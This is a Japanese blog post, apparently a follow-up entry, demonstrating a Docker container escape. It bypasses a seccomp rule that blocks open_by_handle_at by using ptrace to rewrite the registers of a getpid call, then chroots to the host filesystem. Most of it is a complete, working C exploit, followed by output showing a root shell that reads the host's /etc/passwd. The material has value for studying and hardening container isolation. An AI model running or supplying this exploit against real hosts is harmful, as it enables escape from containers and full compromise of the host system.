前回CAP_DAC_READ_SEARCH が許可されている状態で open_by_handle_at を利用することでホスト側のファイルを読み出したり、シェルを取得するなどした。

このとき、seccomp で open_by_handle_at が禁止されている場合は Operation not permitted で失敗する。

[root@b8bf54fb1c48 tmp]# ./a.out
failed to open_by_handle_at: Operation not permitted

しかし、このエントリ で書いたように、ptrace を使用することで seccomp による制限は回避することができる。

環境

今回は明示的に seccomp で open_by_handle_at を拒否し、DAC_READ_SEARCH を許可した Docker コンテナで試した。

$ cat seccomp.json | jq
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "name": "open_by_handle_at",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}

$ docker run --rm -ti --cap-add=DAC_READ_SEARCH --security-opt seccomp=seccomp.json centos:7 /bin/bash

Breakout してみる

手順としては以下のようになる。

  1. ptrace(2) で親プロセスから子プロセスのシステムコールを監視するようにする
  2. ホスト側からマウントされているファイルを open(2) で開く
  3. open_by_handle_at(2)/ を開く
  4. このとき、open_by_handle_at(2) は seccomp で呼び出し禁止されるため、代わりに getpid を呼び出し、 ptrace(2)open_by_handle_at(2) を呼び出すときのレジスタに変更にする
  5. fchdir()chroot() を実行したあとに system("sh -i") を呼び出す

open_by_handle_at(2) でコンテナから Break Out するptrace を使用して seccomp による制限を回避してみる で書いた内容を組み合わせるだけなので詳細は割愛する。

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#define _GNU_SOURCE
#define __USE_GNU
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <syscall.h>
#include <fcntl.h>


struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};

void die (const char *msg)
{
  perror(msg);
  exit(errno);
}

void attack()
{
  int fd, mfd;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
  };

  mfd = open("/etc/hosts", 0);
  if (mfd == -1)
    die("failed to open");

  // fd = open_by_handle_at(mfd, (struct file_handle *)&root_h, 0);
  fd = syscall(SYS_getpid, SYS_open_by_handle_at, mfd, (struct file_handle *)&root_h, 0);
  if (fd == -1)
    die("failed to open_by_handle_at");
  fchdir(fd);
  chroot(".");
  system("sh -i");
  close(fd);
}

int main()
{
  int pid;
  struct user_regs_struct regs;
  switch( (pid = fork()) ) {
    case -1:  die("Failed fork");
    case 0:
              // 親プロセスにトレースさせる
              ptrace(PTRACE_TRACEME, 0, NULL, NULL);
              // 一時停止
              kill(getpid(), SIGSTOP);
              attack();
              return 0;
  }

  waitpid(pid, 0, 0);

  while(1) {
    int st;
    // 子プロセスを再開する
    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
    if (waitpid(pid, &st, __WALL) == -1) {
      break;
    }

    if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
      break;
    }

    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    printf("orig_rax = %lld\n", regs.orig_rax);

    // syscall-enter-stop であればスキップ
    if (regs.rax != -ENOSYS) {
      continue;
    }

    // レジスタを変更する
    if (regs.orig_rax == SYS_getpid) {
      regs.orig_rax = regs.rdi;
      regs.rdi = regs.rsi;
      regs.rsi = regs.rdx;
      regs.rdx = regs.r10;
      regs.r10 = regs.r8;
      regs.r8 = regs.r9;
      regs.r9 = 0;
      ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    }
  }
  return 0;
}

上記のコードを実行すると seccomp による open_by_handle_at を回避しつつ、open_by_handle_at を利用してホスト側へ Breakout できることが確認できる。

[root@b8bf54fb1c48 tmp]# ./a.out
orig_rax = 2
orig_rax = 2
orig_rax = 39
orig_rax = 304
orig_rax = 81
orig_rax = 81
orig_rax = 161
orig_rax = 161
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 13
orig_rax = 14
orig_rax = 14
orig_rax = 56
orig_rax = 56
orig_rax = 61
# whoami
root
# cat /etc/hostname
ubuntu-xenial
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
colord:x:113:119:colord colour management daemon,,,:/var/lib/colord:/bin/false
haconiwa:x:114:120::/var/lib/haconiwa:/bin/false

ref